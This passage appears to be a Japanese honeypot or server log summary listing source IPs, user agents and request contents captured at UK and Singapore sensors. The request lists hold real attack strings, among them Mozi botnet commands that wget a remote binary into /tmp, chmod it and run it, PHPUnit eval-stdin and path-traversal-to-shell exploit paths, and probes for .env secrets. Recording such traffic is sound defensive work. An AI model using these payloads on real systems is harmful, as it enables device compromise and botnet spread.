1	GET	`/text4041645082977`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/vendor/laravel/.env`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`/wp-admin`	HTTP/1.1
2	GET	`/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en`	HTTP/1.1
1	GET	`http[:]//fivem[.]k2roleplay[.]com:30120/client`	HTTP/1.0
3	HEAD	`/`	HTTP/1.0
1	HEAD	`/`	HTTP/1.1
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png`	HTTP/1.1
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/.%2e/%2e%2e/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/sphere1.png`	HTTP/1.1
1	POST	`/10`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
2	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
2	POST	`/sdk`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	23.95.100.141	United States
4	23.251.102.74	United States
1	27.5.43.34	India
1	34.140.79.103	United States
1	45.137.21.134	Bangladesh
10	45.146.165.37	Russia
1	49.114.148.89	China
1	61.219.11.151	Taiwan
1	66.240.205.34	United States
1	69.162.231.50	United States
2	94.232.43.63	Russia
2	109.237.103.118	Russia
2	157.245.70.127	United States
1	167.94.138.118	United States
1	167.94.146.58	United States
1	172.105.89.161	United States
1	202.14.122.11	India
1	209.17.97.18	United States

UserAgent一覧

件数	UserAgent
14	`-`
1	`Hello, world`
1	`Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
2	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2`
1	`lynx`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
2		`\x03`
1		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01`
2	GET	`/.env`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//202[.]14[.]122[.]11:52858/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//172[.]39[.]95[.]95:59716/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	HEAD	`/`	HTTP/1.0
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png`	HTTP/1.1
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/.%2e/%2e%2e/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/sphere1.png`	HTTP/1.1
1	POST	`/10`	HTTP/1.1
1	POST	`/Api/Session`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.133.119.244	United States
2	23.95.100.141	United States
1	34.77.89.121	United States
1	40.114.33.240	United States
1	45.9.20.65	Russia
7	45.146.165.37	Russia
1	45.191.79.210	Brazil
7	46.101.76.92	United States
6	51.79.29.48	Canada
1	54.224.113.64	United States
1	72.47.16.108	United States
2	74.222.4.118	United States
1	78.128.112.14	Bulgaria
5	83.143.86.62	Norway
1	107.189.5.162	United States
1	109.237.103.9	Russia
2	109.237.103.118	Russia
1	114.134.26.36	India
1	123.8.2.108	China
2	157.230.216.203	United States
1	162.142.125.219	United States
4	164.52.24.179	China
1	167.248.133.61	United States
4	193.118.53.202	United States
1	194.49.68.118	United States
1	209.17.97.2	United States
1	213.207.34.83	Albania

UserAgent一覧

件数	UserAgent
18	`-`
1	`AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9`
1	`Hello, World`
1	`Mozila/5.0`
1	`Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
14	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36`
5	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$`	HTTP/1.0
1		`\x03`
1		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01\x01`	\x01
4		`\x16\x03\x01`
14	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/_profiler/empty/search/results?limit=10`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
1	GET	`/cgi-bin/check_auth.cgi`	HTTP/1.1
1	GET	`/cgi-bin/index.html`	HTTP/1.1
1	GET	`/cgi-bin/login.cgi`	HTTP/1.1
1	GET	`/cgi-bin/main.cgi`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/wp-admin`	HTTP/1.1
3	HEAD	`/`	HTTP/1.0
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png`	HTTP/1.1
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/.%2e/%2e%2e/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/sphere1.png`	HTTP/1.1
1	POST	`/Api/Session`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	PRI	`*`	HTTP/2.0